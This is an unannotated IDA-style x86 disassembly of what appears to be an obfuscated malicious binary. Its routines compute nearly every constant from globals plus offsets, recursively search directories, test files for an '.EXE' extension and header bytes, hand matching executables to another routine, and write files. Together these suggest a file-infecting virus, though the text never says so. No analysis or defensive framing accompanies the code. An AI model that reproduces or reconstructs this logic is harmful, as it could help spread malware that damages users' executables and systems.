; Attributes: bp-based frame


sub_41DBFE	proc near		; CODE XREF: sub_42149B+441p
					; sub_42149B+452p

var_FFF		= byte ptr -0FFFh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_424F4D
		push	esi
		push	edi
		push	5
		push	[ebp+arg_0]
		call	dword ptr ds:1000C004h
		mov	edi, eax


loc_41DC1A:				; CODE XREF: sub_41DBFE+7Dj
		or	edi, edi
		jnz	short loc_41DC22
		xor	eax, eax
		jmp	short loc_41DC7D
; ---------------------------------------------------------------------------


loc_41DC22:				; CODE XREF: sub_41DBFE+1Ej
		push	0FFFh
		lea	eax, [ebp+var_FFF]
		push	eax
		push	edi
		call	dword ptr ds:1000D010h
		mov	eax, ds:100121C4h
		add	eax, ds:100120B8h
		sub	eax, 8
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+var_FFF]
		push	eax
		call	sub_41DB51
		add	esp, 0Ch
		mov	esi, ds:100121B4h
		add	esi, 0FFFEh
		add	esi, ds:10012164h
		cmp	eax, esi
		jz	short loc_41DC70
		mov	eax, edi
		jmp	short loc_41DC7D
; ---------------------------------------------------------------------------


loc_41DC70:				; CODE XREF: sub_41DBFE+6Cj
		push	2
		push	edi
		call	dword ptr ds:1000C004h
		mov	edi, eax
		jmp	short loc_41DC1A
; ---------------------------------------------------------------------------


loc_41DC7D:				; CODE XREF: sub_41DBFE+22j
					; sub_41DBFE+70j
		pop	edi
		pop	esi
		leave
		retn
sub_41DBFE	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		movsx	eax, word ptr ds:10012128h
		add	eax, ds:10012174h
		sub	eax, 9
		cmp	ds:1000E604h, eax
		jbe	short loc_41DCA7
		push	1000E604h
		call	dword ptr ds:1000C010h


loc_41DCA7:				; CODE XREF: .data:0041DC9Aj
		mov	eax, ds:1000E604h
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DCB0	proc near		; CODE XREF: sub_41C561+BBp
					; sub_41E9E2+1C3p ...

var_EF38	= dword	ptr -0EF38h
var_EF34	= dword	ptr -0EF34h
var_EF30	= dword	ptr -0EF30h
var_EF2C	= byte ptr -0EF2Ch
var_EF2B	= byte ptr -0EF2Bh
var_EE2C	= dword	ptr -0EE2Ch
var_EE24	= byte ptr -0EE24h
arg_0		= byte ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		mov	eax, 0EF38h
		call	sub_424F4D
		push	ebx
		push	esi
		push	edi
		movsx	edi, word ptr ds:10012170h
		imul	esi, ds:10012130h, 3C0h
		lea	edi, [edi+edi+0EA50h]
		lea	edi, [esi+edi+780h]
		shl	edi, 1
		mov	[ebp+var_EF38],	edi
		push	edi
		call	sub_424ED2
		add	esp, 4
		mov	[ebp+var_EE2C],	eax
		movzx	eax, [ebp+arg_0]
		mov	edx, ds:100120ECh
		sub	edx, 4
		cmp	eax, edx
		jnz	short loc_41DD2A
		push	100135C4h
		call	sub_4228CE
		add	esp, 4
		push	eax
		lea	edi, [ebp+var_EE24]
		push	edi
		call	dword ptr ds:10011634h
		add	esp, 8
		jmp	loc_41DE17
; ---------------------------------------------------------------------------


loc_41DD2A:				; CODE XREF: sub_41DCB0+55j
		call	dword ptr ds:1000F228h
		mov	ebx, eax
		mov	[ebp+var_EF2C],	bl
		movzx	eax, [ebp+arg_0]
		mov	edx, ds:10012138h
		add	edx, ds:100120C0h
		sub	edx, 7
		cmp	eax, edx
		jnz	short loc_41DD9E
		mov	eax, ds:100120E4h
		add	eax, 5
		and	eax, 0FFh
		push	eax
		lea	eax, [ebp+var_EF2B]
		push	eax
		push	[ebp+arg_8]
		call	sub_41C34A
		add	esp, 0Ch
		push	10013594h
		call	sub_4228CE
		add	esp, 4
		movzx	edi, [ebp+var_EF2C]
		push	edi
		lea	edi, [ebp+var_EF2B]
		push	edi
		push	eax
		lea	edi, [ebp+var_EE24]
		push	edi
		call	dword ptr ds:10011634h
		add	esp, 10h
		jmp	short loc_41DE17
; ---------------------------------------------------------------------------


loc_41DD9E:				; CODE XREF: sub_41DCB0+9Dj
		mov	eax, ds:10012160h
		sub	eax, 8
		and	eax, 0FFh
		push	eax
		lea	eax, [ebp+var_EF2B]
		push	eax
		push	dword ptr ds:100122B0h
		call	sub_41C34A
		add	esp, 0Ch
		push	10013536h
		call	sub_4228CE
		add	esp, 4
		mov	edi, [ebp+arg_18]
		mov	esi, [ebp+arg_8]
		mov	ebx, edi
		add	ebx, esi
		push	ebx
		push	[ebp+arg_1C]
		push	edi
		push	[ebp+arg_14]
		movzx	edi, [ebp+var_EF2C]
		push	edi
		mov	edi, esi
		sub	edi, [ebp+arg_C]
		sub	edi, ds:100120C4h
		push	edi
		push	1000F230h
		push	[ebp+arg_10]
		push	[ebp+arg_20]
		lea	edi, [ebp+var_EF2B]
		push	edi
		push	eax
		lea	edi, [ebp+var_EE24]
		push	edi
		call	dword ptr ds:10011634h
		add	esp, 30h


loc_41DE17:				; CODE XREF: sub_41DCB0+75j
					; sub_41DCB0+ECj
		push	[ebp+var_EF38]
		push	[ebp+var_EE2C]
		movsx	eax, word ptr ds:10012128h
		inc	eax
		neg	eax
		push	eax
		lea	eax, [ebp+var_EE24]
		push	eax
		mov	eax, ds:100120C4h
		movsx	edx, word ptr ds:1001216Ch
		add	eax, edx
		sub	eax, 8
		push	eax
		push	0
		call	dword ptr ds:1001163Ch
		push	1001351Ch
		call	sub_41F3E4
		add	esp, 4
		push	eax
		call	dword ptr ds:1000C044h
		mov	[ebp+var_EF30],	eax
		push	[ebp+var_EE2C]
		call	dword ptr ds:1000C044h
		mov	[ebp+var_EF34],	eax
		push	eax
		push	[ebp+var_EF30]
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+104h]
		push	[ebp+var_EF34]
		call	dword ptr ds:10011BA0h
		push	[ebp+var_EF30]
		call	dword ptr ds:10011BA0h
		lea	esp, [ebp-0EF44h]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DCB0	endp

; ---------------------------------------------------------------------------
		db 0B8h, 1, 40h
		dd 10C28000h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DEB9	proc near		; CODE XREF: sub_41DEB9+27Ep
					; sub_41DEB9+2E6p ...

var_268		= byte ptr -268h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_258		= word ptr -258h
var_256		= word ptr -256h
var_252		= word ptr -252h
var_250		= word ptr -250h
var_24E		= word ptr -24Eh
var_248		= dword	ptr -248h
var_242		= byte ptr -242h
var_13E		= byte ptr -13Eh
var_112		= byte ptr -112h
arg_0		= dword	ptr  8
arg_8		= byte ptr  10h
arg_18		= byte ptr  20h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 268h
		push	ebx
		push	esi
		push	edi
		push	0
		call	dword ptr ds:10011630h
		xor	ebx, ebx
		inc	ebx
		push	10013511h
		call	sub_4228CE
		push	[ebp+arg_0]
		push	eax
		lea	edi, [ebp+var_242]
		push	edi
		call	dword ptr ds:10011634h
		add	esp, 14h
		lea	eax, [ebp+var_13E]
		push	eax
		lea	eax, [ebp+var_242]
		push	eax
		call	dword ptr ds:1000F258h
		mov	[ebp+var_248], eax
		movsx	ecx, word ptr ds:100120DCh
		add	ecx, ds:100120A8h
		sub	ecx, 8
		neg	ecx
		cmp	eax, ecx
		jnz	loc_41E0F1
		mov	eax, ds:1001209Ch
		sub	eax, 8
		cmp	[ebp+arg_20], eax
		ja	loc_41E1AE
		mov	eax, ds:100121A4h
		add	eax, 3FAh
		add	eax, ds:10012094h
		cmp	[ebp+arg_24], eax
		jnb	short loc_41DF5B
		mov	eax, ds:1001209Ch
		add	eax, 9Ch
		cmp	[ebp+arg_24], eax
		jnz	loc_41E1AE


loc_41DF5B:				; CODE XREF: sub_41DEB9+8Dj
		movsx	eax, word ptr ds:10012128h
		add	eax, 30D40h
		cmp	[ebp+arg_24], eax
		ja	loc_41E1AE
		lea	eax, [ebp+arg_18]
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		call	dword ptr ds:10011780h
		mov	[ebp+var_260], eax
		movsx	eax, word ptr ds:10012150h
		sub	eax, 5
		cmp	[ebp+var_260], eax
		jge	short loc_41DFA3
		lea	edi, [ebp+var_268]
		lea	esi, [ebp+arg_18]
		movsd
		movsd
		jmp	short loc_41DFAE
; ---------------------------------------------------------------------------


loc_41DFA3:				; CODE XREF: sub_41DEB9+DBj
		lea	edi, [ebp+var_268]
		lea	esi, [ebp+arg_8]
		movsd
		movsd


loc_41DFAE:				; CODE XREF: sub_41DEB9+E8j
		lea	eax, [ebp+var_258]
		push	eax
		lea	eax, [ebp+var_268]
		push	eax
		call	dword ptr ds:10011778h
		mov	eax, ds:100121CCh
		mov	edx, ds:100121B8h
		movzx	ecx, [ebp+var_24E]
		movzx	esi, [ebp+var_250]
		movsx	edi, word ptr ds:10012168h
		lea	edi, [eax+edi+30h]
		imul	esi, edi
		add	ecx, esi
		movzx	esi, [ebp+var_252]
		mov	edi, ds:10012158h
		lea	edi, [edx+edi+15h]
		imul	esi, edi
		mov	edi, ds:100121C4h
		add	edi, 37h
		imul	esi, edi
		add	ecx, esi
		movzx	esi, [ebp+var_256]
		mov	edi, ds:100121CCh
		add	edi, 1Ah
		imul	esi, edi
		mov	edi, ds:10012138h
		add	edi, 10h
		add	edi, ds:100121B0h
		imul	esi, edi
		mov	edi, ds:1001214Ch
		add	edi, 36h
		imul	esi, edi
		add	ecx, esi
		movzx	esi, [ebp+var_258]
		mov	edi, ds:10012094h
		add	edi, 2
		add	edi, eax
		mov	eax, esi
		imul	eax, edi
		movsx	esi, word ptr ds:10012100h
		movsx	edi, word ptr ds:10012180h
		lea	esi, [esi+edi+0Fh]
		imul	eax, esi
		mov	esi, ds:100120ACh
		add	esi, 0Dh
		add	esi, ds:1001209Ch
		imul	eax, esi
		movsx	esi, word ptr ds:10012110h
		lea	edx, [edx+esi+35h]
		imul	eax, edx
		mov	edx, ecx
		add	edx, eax
		mov	[ebp+var_25C], edx
		mov	eax, edx
		mov	edx, ds:1000C024h
		cmp	eax, edx
		ja	loc_41E1AE
		sub	edx, eax
		mov	eax, ds:10012178h
		add	eax, 0Ah
		add	eax, ds:1001210Ch
		cmp	edx, eax
		jnb	loc_41E1AE
		mov	eax, ds:100120E4h
		add	eax, 0A2h
		cmp	[ebp+arg_24], eax
		jz	short loc_41E0DF
		push	0
		push	[ebp+arg_0]
		call	sub_4232A3
		add	esp, 8
		jmp	loc_41E1AE
; ---------------------------------------------------------------------------


loc_41E0DF:				; CODE XREF: sub_41DEB9+212j
		push	1
		push	[ebp+arg_0]
		call	sub_4232A3
		add	esp, 8
		jmp	loc_41E1AE
; ---------------------------------------------------------------------------


loc_41E0F1:				; CODE XREF: sub_41DEB9+63j
		cmp	[ebp+var_112], 2Eh
		jz	loc_41E1AA
		lea	eax, [ebp+var_112]
		push	eax
		push	[ebp+arg_0]
		push	1001350Bh
		lea	eax, [ebp+var_242]
		push	eax
		call	dword ptr ds:10011634h
		lea	esi, [ebp+var_13E]
		sub	esp, 140h
		mov	edi, esp
		mov	ecx, 9Fh
		rep movsw
		lea	edi, [ebp+var_242]
		push	edi
		call	sub_41DEB9
		add	esp, 154h
		jmp	short loc_41E1AA
; ---------------------------------------------------------------------------


loc_41E144:				; CODE XREF: sub_41DEB9+2F3j
		lea	eax, [ebp+var_13E]
		push	eax
		push	[ebp+var_248]
		call	dword ptr ds:1000D004h
		mov	ebx, eax
		or	ebx, ebx
		jz	short loc_41E1AE
		cmp	[ebp+var_112], 2Eh
		jz	short loc_41E1AA
		lea	eax, [ebp+var_112]
		push	eax
		push	[ebp+arg_0]
		push	1001350Bh
		lea	eax, [ebp+var_242]
		push	eax
		call	dword ptr ds:10011634h
		lea	esi, [ebp+var_13E]
		sub	esp, 140h
		mov	edi, esp
		mov	ecx, 9Fh
		rep movsw
		lea	edi, [ebp+var_242]
		push	edi
		call	sub_41DEB9
		add	esp, 154h


loc_41E1AA:				; CODE XREF: sub_41DEB9+23Fj
					; sub_41DEB9+289j ...
		or	ebx, ebx
		jnz	short loc_41E144


loc_41E1AE:				; CODE XREF: sub_41DEB9+74j
					; sub_41DEB9+9Cj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DEB9	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, ds:100120C4h
		sub	eax, 4
		cmp	ds:10011784h, eax
		jbe	short loc_41E1D1
		push	10011784h
		call	dword ptr ds:1000C010h


loc_41E1D1:				; CODE XREF: .data:0041E1C4j
		mov	eax, ds:10011784h
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E1DA	proc near		; CODE XREF: sub_41C797+2E1p
					; sub_41C797+3C9p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		div	esi
		mov	edi, ds:10012098h
		sub	edi, 7
		cmp	edx, edi
		jnz	short loc_41E1FE
		mov	eax, [ebp+arg_0]
		jmp	short loc_41E218
; ---------------------------------------------------------------------------


loc_41E1FE:				; CODE XREF: sub_41E1DA+1Dj
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		div	esi
		mov	[ebp+var_8], eax
		mov	edi, eax
		mul	esi
		mov	[ebp+var_C], eax
		mov	edi, eax
		add	edi, esi
		mov	[ebp+var_4], edi
		mov	eax, edi


loc_41E218:				; CODE XREF: sub_41E1DA+22j
		pop	edi
		pop	esi
		leave
		retn
sub_41E1DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E21C	proc near		; CODE XREF: sub_4232A3+499p

var_26C		= byte ptr -26Ch
var_267		= byte ptr -267h
var_168		= byte ptr -168h
var_104		= byte ptr -104h
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	esi
		push	edi
		push	104h
		lea	eax, [ebp+var_104]
		push	eax
		call	dword ptr ds:1000E5FCh
		lea	eax, [ebp+var_168]
		push	eax
		call	sub_41C3F2
		push	10013506h
		call	sub_4228CE
		push	eax
		lea	esi, [ebp+var_104]
		push	esi
		call	dword ptr ds:1000C020h
		lea	eax, [ebp+var_168]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	dword ptr ds:1000C020h
		push	100134FEh
		call	sub_4228CE
		push	eax
		lea	esi, [ebp+var_104]
		push	esi
		call	dword ptr ds:1000C020h
		add	esp, 24h
		movsx	eax, word ptr ds:100121A8h
		add	eax, ds:10012158h
		mov	dl, [ebp+arg_0]
		mov	[ebp+eax+var_267], dl
		push	0
		push	80h
		push	4
		push	0
		movsx	eax, word ptr ds:10012100h
		movsx	edx, word ptr ds:10012090h
		add	eax, edx
		sub	eax, 0Ah
		push	eax
		push	40000000h
		lea	eax, [ebp+var_104]
		push	eax
		call	dword ptr ds:10011788h
		mov	edi, eax
		push	0
		lea	eax, [ebp+var_26C]
		push	eax
		mov	eax, ds:100121C8h
		dec	eax
		push	eax
		lea	eax, [ebp+var_267]
		push	eax
		push	edi
		call	dword ptr ds:10011B8Ch
		push	edi
		call	dword ptr ds:10010650h
		pop	edi
		pop	esi
		leave
		retn
sub_41E21C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E2FF	proc near		; CODE XREF: sub_423CF4+179p

var_12110	= byte ptr -12110h
var_1210C	= word ptr -1210Ch
var_1210A	= word ptr -1210Ah
var_12108	= dword	ptr -12108h
var_12104	= byte ptr -12104h
var_12000	= word ptr -12000h
var_11FFE	= byte ptr -11FFEh
var_1FFF	= byte ptr -1FFFh
var_1FB3	= byte ptr -1FB3h
var_1FB2	= byte ptr -1FB2h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 12110h
		call	sub_424F4D
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_12104]
		push	eax
		call	sub_424F6D
		lea	ecx, [ebp+var_12104]
		or	eax, 0FFFFFFFFh


loc_41E327:				; CODE XREF: sub_41E2FF+2Dj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41E327
		mov	ebx, ds:10012184h
		add	ebx, ds:100120CCh
		sub	ebx, 6
		mov	esi, eax
		sub	esi, ebx
		mov	ebx, ds:100121A0h
		sub	ebx, 6
		mov	[ebp+esi+var_12104], bl
		push	0
		mov	eax, ds:1001215Ch
		movsx	edx, word ptr ds:10012100h
		add	eax, edx
		sub	eax, 0Dh
		push	eax
		push	3
		push	0
		mov	eax, ds:1001217Ch
		movsx	edx, word ptr ds:10012148h
		add	eax, edx
		sub	eax, 9
		push	eax
		push	80000001h
		lea	eax, [ebp+var_12104]
		push	eax
		call	dword ptr ds:10011788h
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	loc_41E5D4
		push	0
		lea	eax, [ebp+var_12110]
		push	eax
		push	1FFFh
		lea	eax, [ebp+var_1FFF]
		push	eax
		push	edi
		call	dword ptr ds:1000C028h
		mov	[ebp+var_12108], eax
		push	edi
		call	dword ptr ds:10010650h
		movsx	eax, word ptr ds:100121A8h
		movsx	edx, word ptr ds:100120BCh
		add	eax, edx
		sub	eax, 9
		cmp	[ebp+var_12108], eax
		jz	loc_41E5D4
		cmp	[ebp+var_1FFF],	4Ch
		jnz	loc_41E5D4
		movzx	esi, [ebp+var_1FB3]
		movzx	ebx, [ebp+var_1FB2]
		movzx	ebx, bx
		shl	ebx, 8
		or	esi, ebx
		mov	[ebp+var_1210A], si
		movzx	eax, [ebp+var_1210A]
		mov	edx, ds:100120F0h
		add	edx, 46h
		movsx	ecx, word ptr ds:10012114h
		add	edx, ecx
		add	eax, edx
		movsx	edx, word ptr ds:100120D0h
		add	edx, 2
		add	eax, edx
		mov	[ebp+var_12000], ax
		movzx	eax, [ebp+var_12000]
		movsx	eax, [ebp+eax+var_1FFF]
		mov	edx, ds:1001217Ch
		sub	edx, 6
		cmp	eax, edx
		jz	loc_41E5D4
		movzx	eax, [ebp+var_12000]
		mov	edx, ds:100120A0h
		add	edx, 4
		add	eax, edx
		movsx	eax, [ebp+eax+var_1FFF]
		mov	edx, ds:1001215Ch
		sub	edx, 3
		cmp	eax, edx
		jnz	loc_41E5D4
		movzx	eax, [ebp+var_12000]
		movsx	edx, word ptr ds:100120F4h
		mov	ecx, ds:100120D4h
		lea	edx, [edx+ecx+6]
		mov	ecx, eax
		add	ecx, edx
		movzx	edx, [ebp+ecx+var_1FFF]
		mov	esi, ds:10012094h
		add	esi, 0Ah
		add	esi, ds:100121B4h
		mov	ebx, eax
		add	ebx, esi
		movzx	esi, [ebp+ebx+var_1FFF]
		movzx	esi, si
		shl	esi, 8
		mov	ebx, edx
		or	ebx, esi
		mov	esi, ebx
		movzx	esi, si
		mov	ebx, eax
		add	ebx, esi
		mov	esi, ebx
		mov	[ebp+var_1210C], si
		movzx	eax, [ebp+var_1210C]
		lea	eax, [ebp+eax+var_1FFF]
		push	eax
		lea	eax, [ebp+var_11FFE]
		push	eax
		call	sub_424F6D
		lea	ecx, [ebp+var_11FFE]
		or	eax, 0FFFFFFFFh


loc_41E502:				; CODE XREF: sub_41E2FF+208j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41E502
		mov	edi, eax
		mov	eax, ds:100120ACh
		add	eax, 1
		mov	edx, edi
		sub	edx, eax
		cmp	[ebp+edx+var_11FFE], 2Eh
		jnz	short loc_41E599
		mov	eax, ds:100120ECh
		add	eax, ds:100121C0h
		sub	eax, 5
		mov	edx, edi
		sub	edx, eax
		movsx	eax, [ebp+edx+var_11FFE]
		push	eax
		call	dword ptr ds:1000C030h
		add	esp, 4
		cmp	eax, 45h
		jnz	short loc_41E599
		mov	esi, ds:10012190h
		sub	esi, 1
		mov	ebx, edi
		sub	ebx, esi
		movsx	esi, [ebp+ebx+var_11FFE]
		push	esi
		call	dword ptr ds:1000C030h
		add	esp, 4
		cmp	eax, 58h
		jnz	short loc_41E599
		movsx	esi, word ptr ds:100120B0h
		add	esi, ds:100120A4h
		sub	esi, 9
		mov	ebx, edi
		sub	ebx, esi
		movsx	esi, [ebp+ebx+var_11FFE]
		push	esi
		call	dword ptr ds:1000C030h
		add	esp, 4
		cmp	eax, 45h
		jz	short loc_41E59B


loc_41E599:				; CODE XREF: sub_41E2FF+220j
					; sub_41E2FF+249j ...
		jmp	short loc_41E5D4
; ---------------------------------------------------------------------------


loc_41E59B:				; CODE XREF: sub_41E2FF+298j
		push	100134F9h
		call	sub_4228CE
		push	eax
		lea	edi, [ebp+var_11FFE]
		push	edi
		call	dword ptr ds:1000C020h
		mov	eax, ds:10012190h
		movsx	edx, word ptr ds:100121BCh
		add	eax, edx
		sub	eax, 9
		push	eax
		lea	eax, [ebp+var_11FFE]
		push	eax
		call	sub_422E53
		add	esp, 14h


loc_41E5D4:				; CODE XREF: sub_41E2FF+93j
					; sub_41E2FF+DBj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E2FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E5D9	proc near		; CODE XREF: sub_41B939+22Ep
					; sub_4223D9+192p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		inc	esi
		mov	edi, ds:100120A0h
		add	edi, 1Bh
		mov	eax, esi
		test	eax, eax
		jge	short loc_41E5FA
		add	eax, 0FFh


loc_41E5FA:				; CODE XREF: sub_41E5D9+1Aj
		sar	eax, 8
		movsx	ebx, word ptr ds:10012194h
		add	ebx, 9
		mov	edx, eax
		imul	edx, ebx
		add	edi, edx
		mov	[ebp+var_8], edi
		mov	edi, ds:10012174h
		add	edi, 0Ch
		mov	eax, esi
		test	eax, eax
		jge	short loc_41E625
		add	eax, 0FFh


loc_41E625:				; CODE XREF: sub_41E5D9+45j
		sar	eax, 8
		movsx	ebx, word ptr ds:100121BCh
		add	ebx, 0Bh
		mov	edx, eax
		imul	edx, ebx
		add	edi, edx
		mov	[ebp+var_C], edi
		movsx	edi, word ptr ds:1001219Ch
		mov	ebx, ds:100120ACh
		lea	edi, [edi+ebx+18h]
		mov	eax, esi
		test	eax, eax
		jge	short loc_41E658
		add	eax, 0FFFFh


loc_41E658:				; CODE XREF: sub_41E5D9+78j
		sar	eax, 10h
		mov	ebx, ds:10012140h
		add	ebx, 0Fh
		mov	edx, eax
		imul	edx, ebx
		add	edi, edx
		mov	[ebp+var_10], edi
		mov	eax, esi
		mul	[ebp+var_8]
		mov	[ebp+var_1C], eax
		and	eax, 0FFh
		push	eax
		call	sub_42142D
		mov	ebx, eax
		mov	[ebp+var_1], bl
		mov	eax, ds:100120FCh
		add	eax, 5
		mov	edx, esi
		imul	edx, eax
		mov	eax, edx
		and	eax, 0FFh
		push	eax
		call	sub_42063C
		mov	ebx, eax
		mov	[ebp+var_11], bl
		mov	eax, esi
		mul	[ebp+var_C]
		mov	[ebp+var_20], eax
		and	eax, 0FFh
		push	eax
		call	sub_42142D
		mov	ebx, eax
		mov	[ebp+var_12], bl
		mov	eax, ds:100121CCh
		add	eax, 6Ah
		add	eax, ds:100120A8h
		mov	edx, esi
		imul	edx, eax
		mov	eax, edx
		and	eax, 0FFh
		push	eax
		call	sub_42063C
		mov	ebx, eax
		mov	[ebp+var_13], bl
		mov	eax, esi
		and	eax, 0FFh
		push	eax
		call	sub_42142D
		mov	ebx, eax
		mov	[ebp+var_14], bl
		mov	eax, ds:100121CCh
		add	eax, 2Bh
		mov	edx, esi
		imul	edx, eax
		mov	eax, edx
		and	eax, 0FFh
		push	eax
		call	sub_42063C
		mov	ebx, eax
		mov	[ebp+var_15], bl
		mov	eax, esi
		mul	[ebp+var_10]
		mov	[ebp+var_24], eax
		and	eax, 0FFh
		push	eax
		call	sub_42142D
		mov	ebx, eax
		mov	[ebp+var_16], bl
		mov	eax, ds:100121A4h
		add	eax, 49h
		mov	edx, esi
		imul	edx, eax
		mov	eax, edx
		and	eax, 0FFh
		push	eax
		call	sub_42063C
		mov	ebx, eax
		mov	[ebp+var_17], bl
		mov	eax, ds:1001214Ch
		add	eax, 3Dh
		mov	edx, esi
		imul	edx, eax
		mov	eax, edx
		and	eax, 0FFh
		push	eax
		call	sub_42142D
		add	esp, 24h
		mov	ebx, eax
		mov	[ebp+var_18], bl
		movzx	edi, [ebp+var_1]
		mov	eax, edi
		shr	eax, 1
		mov	esi, ds:10012188h
		add	esi, 2
		mul	esi
		mov	[ebp+var_28], eax
		mov	esi, eax
		cmp	esi, edi
		jnz	short loc_41E7CE
		push	100134DFh
		call	sub_4228CE
		movzx	edi, [ebp+var_18]
		push	edi
		movzx	edi, [ebp+var_17]
		push	edi
		movzx	edi, [ebp+var_16]
		push	edi
		movzx	edi, [ebp+var_15]
		push	edi
		movzx	edi, [ebp+var_14]
		push	edi
		movzx	edi, [ebp+var_13]
		push	edi
		movzx	edi, [ebp+var_12]
		push	edi
		movzx	edi, [ebp+var_11]
		push	edi
		movzx	edi, [ebp+var_1]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword ptr ds:10011634h
		add	esp, 30h
		jmp	short loc_41E812
; ---------------------------------------------------------------------------


loc_41E7CE:				; CODE XREF: sub_41E5D9+1ADj
		push	100134C4h
		call	sub_4228CE
		movzx	edi, [ebp+var_18]
		push	edi
		movzx	edi, [ebp+var_17]
		push	edi
		movzx	edi, [ebp+var_16]
		push	edi
		movzx	edi, [ebp+var_15]
		push	edi
		movzx	edi, [ebp+var_14]
		push	edi
		movzx	edi, [ebp+var_13]
		push	edi
		movzx	edi, [ebp+var_12]
		push	edi
		movzx	edi, [ebp+var_11]
		push	edi
		movzx	edi, [ebp+var_1]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword ptr ds:10011634h
		add	esp, 30h


loc_41E812:				; CODE XREF: sub_41E5D9+1F3j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E5D9	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+8]
		mov	eax, [ebp+18h]
		mov	[ebp+18h], ax
		mov	eax, ds:10012174h
		inc	eax
		cmp	ds:1000E61Ch, eax
		jnb	short loc_41E845
		movsx	eax, word ptr ds:1001216Ch
		sub	eax, 4
		mov	ds:1000E61Ch, eax


loc_41E845:				; CODE XREF: .data:0041E834j
		mov	edi, ds:100120ACh
		sub	edi, 3
		jmp	short loc_41E85C
; ---------------------------------------------------------------------------


loc_41E850:				; CODE XREF: .data:0041E868j
		lea	ebx, ds:1000D130h[edi*4]
		cmp	esi, ebx
		jz	short loc_41E86A
		inc	edi


loc_41E85C:				; CODE XREF: .data:0041E84Ej
		mov	eax, ds:10012108h
		add	eax, 3E8h
		cmp	edi, eax
		jb	short loc_41E850


loc_41E86A:				; CODE XREF: .data:0041E859j
		movsx	eax, word ptr ds:10012114h
		add	eax, 3E6h
		cmp	edi, eax
		jnz	short loc_41E881
		xor	eax, eax
		jmp	loc_41E9DB
; ---------------------------------------------------------------------------


loc_41E881:				; CODE XREF: .data:0041E878j
		movzx	esi, word ptr ds:1000EA50h[edi*2]
		movsx	ebx, word ptr ds:100120D0h
		inc	ebx
		cmp	esi, ebx
		jnz	short loc_41E8BC
		movzx	eax, byte ptr ds:1000E200h[edi]
		push	eax
		push	dword ptr ds:1000C060h[edi*4]
		call	sub_41B66D
		add	esp, 8
		and	dword ptr ds:1000D130h[edi*4], 0
		xor	eax, eax
		jmp	loc_41E9DB
; ---------------------------------------------------------------------------


loc_41E8BC:				; CODE XREF: .data:0041E893j
		movzx	esi, word ptr ds:1000EA50h[edi*2]
		movsx	ebx, word ptr ds:100120E8h
		movsx	edx, word ptr ds:10012114h
		lea	ebx, [ebx+edx+0FFF8h]
		cmp	esi, ebx
		jnz	loc_41E9B5
		mov	eax, ds:10012198h
		sub	eax, 8
		mov	[ebp-4], eax
		jmp	loc_41E998
; ---------------------------------------------------------------------------


loc_41E8F1:				; CODE XREF: .data:0041E9ABj
		mov	esi, [ebp-4]
		mov	ebx, esi
		shl	ebx, 2
		cmp	dword ptr ds:1000D130h[ebx], 0
		jz	loc_41E995
		movzx	edx, word ptr ds:1000EA50h[esi*2]
		movsx	ecx, word ptr ds:100121A8h
		mov	eax, ds:100120B8h
		lea	ecx, [ecx+eax+0FFFBh]
		cmp	edx, ecx
		jz	short loc_41E995
